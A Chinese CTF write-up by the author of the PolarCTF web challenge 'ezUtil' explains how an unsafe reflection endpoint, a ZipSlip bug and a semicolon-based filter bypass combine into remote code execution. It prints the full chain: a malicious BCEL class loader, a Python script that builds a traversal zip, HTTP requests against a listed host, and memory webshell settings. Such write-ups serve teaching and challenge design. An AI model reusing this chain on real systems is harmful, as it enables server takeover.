文章

记一次CTF出题之一ezUtil_WP篇

发表于 更新于
作者 P0lar1ght 5 分钟阅读

WEB-ezUtil

一、查看题目信息

题目给出一个jar包，默认访问界面如下：

image-20241125162135274

二、题目分析

反编译查看pom.xml文件，发现一个Docker的镜像名，除此之外没有其他有用信息了。

image-20241125162332162

Controller层中GetClassController有点可疑

image-20241125162606374

注意到改路由下会，获取clazzName和methodName还有fieldName，然后反射调用方法，所以这里是存在漏洞的。

image-20241125162647042

接下来看看如何RCE，注意到FileUtil中有几个方法：

generateZip：可写zip文件。

unZipFile：可解压zip文件。

createFileDirectory：可创建文件夹。

deleteDir和deleteAllDir：可删除文件夹。

在unZipFile这个方法中存在ZipSlip漏洞，可导致任意文件穿越到指定路径，所以上传zip+ZipSlip其实是可以实现任意文件上传的。

image-20241125163310531

后续就可参考PolarCTF - 一写一个不吱声，往$JAVA_HOME/jre/classes/下写一个自定义的public方法的类，然后去通过/admin/api/GetClassValue这个接口去调用就行了，举个栗子：

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import java.lang.reflect.Method;
//通过bcel加载任意类。
public class Evil {
    public static boolean getShell(String code) throws Exception{
        System.out.println("success1");
        ClassLoader classLoader = (ClassLoader) Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader").getDeclaredConstructor().newInstance();
        Method loadClassMethod = classLoader.getClass().getMethod("loadClass", String.class);
        Class<?> loadedClass = (Class<?>) loadClassMethod.invoke(classLoader, code);
        loadedClass.newInstance();
        return true;
    }
}

利用前绕过Filter，AdminFilter和HandleFilter。

AdminFilter会拦截/admin/*下所有东西。

image-20241125164206561

HandleFilter会过滤admin/后面所有的非法字符：../、;，但是实现逻辑存在问题。

image-20241125165816487

我们可通过/admin;/xxx/xxx;admin/这种方式绕过HandleFilter，原理是让他匹配admin/到;的后面这样就不会去校验前面存在的;了，这样也同样绕过了AdminFilter，因为根本没有/admin/。

三、漏洞利用

编译恶意类，这边因为用到了bcel classLoader所有编译时需要使用jdk 8u251以下的Java版本，直接javac即可。

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import java.lang.reflect.Method;

public class Evil {
    public static boolean getShell(String code) throws Exception{
        ClassLoader classLoader = (ClassLoader) Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader").getDeclaredConstructor().newInstance();
        Method loadClassMethod = classLoader.getClass().getMethod("loadClass", String.class);
        Class<?> loadedClass = (Class<?>) loadClassMethod.invoke(classLoader, code);
        loadedClass.newInstance();
        return true;
    }
}

制作恶意zip，路径可根据pom文件的镜像获取到。

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# -*- coding = utf-8 -*-
# @Time : 2024-11-25 15:02
# @Author : P0l@R19ht
# @File : ezUtil.py
# @software: PyCharm
import zipfile
import os
web_path = "/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/"
upload_file_name = "Evil.class"
# 定义要压缩的文件及其在ZIP中的新名称
files_to_zip = {
    "Evil.class": "../../../../../../../../" + web_path + upload_file_name
}

# 指定输出ZIP文件的名称
zip_filename = "Evil.zip"

# 创建一个新的ZIP文件
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
    for original_file, new_name in files_to_zip.items():
        # 检查文件是否存在
        if os.path.exists(original_file):
            # 使用arcname参数更改压缩包中的文件名
            zipf.write(original_file, arcname=new_name)
        else:
            print(f"文件 {original_file} 不存在，跳过压缩")

print(f"已创建 ZIP 文件: {zip_filename}")

写zip

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POST /admin;/api/GetClassValue;admin/ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Type: application/json
Content-Length: 22490

{
  "data": {
    "clazzName": "com.polar.ctf.admin.util.FileUtil",
    "fieldName": [
      ")}}",
      ".",
      "Evil"
    ],
    "methodName": "generateZip"
  }
}

解压ZIP穿越class到$JAVA_HOME/jre/classes/下。

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POST /admin;/api/GetClassValue;admin/ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Type: application/json
Content-Length: 151

{
  "data": {
    "clazzName": "com.polar.ctf.admin.util.FileUtil",
    "fieldName": [
      "Evil.zip"
    ],
    "methodName": "unZipFile"
  }
}

触发写入的class的恶意方法。

注意：这里有个坑，题目这边是先创建的$JAVA_HOME/jre/classes文件夹后启动的项目，所以能够触发，如果在项目启动前不存在classes文件夹，通过后面创建classes文件夹再写入class文件，在出题过程中发现其实无法拿到我们写入的class类。

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POST /admin;/api/GetClassValue;admin/ HTTP/1.1
Host: 101.42.172.78:32769
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Type: application/json
Content-Length: 159

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密码: pass
请求路径: /*
请求头: PolarCTF: 666
脚本类型: JSP
内存马类名: org.apache.logging.WebSocketUpgradeYehListener
注入器类名: org.apache.logging.pt.HTMLUtil

image-20241125165545349

CTF, CTF出题记录
CTF CTF出题记录
本文由作者按照 CC BY 4.0 进行授权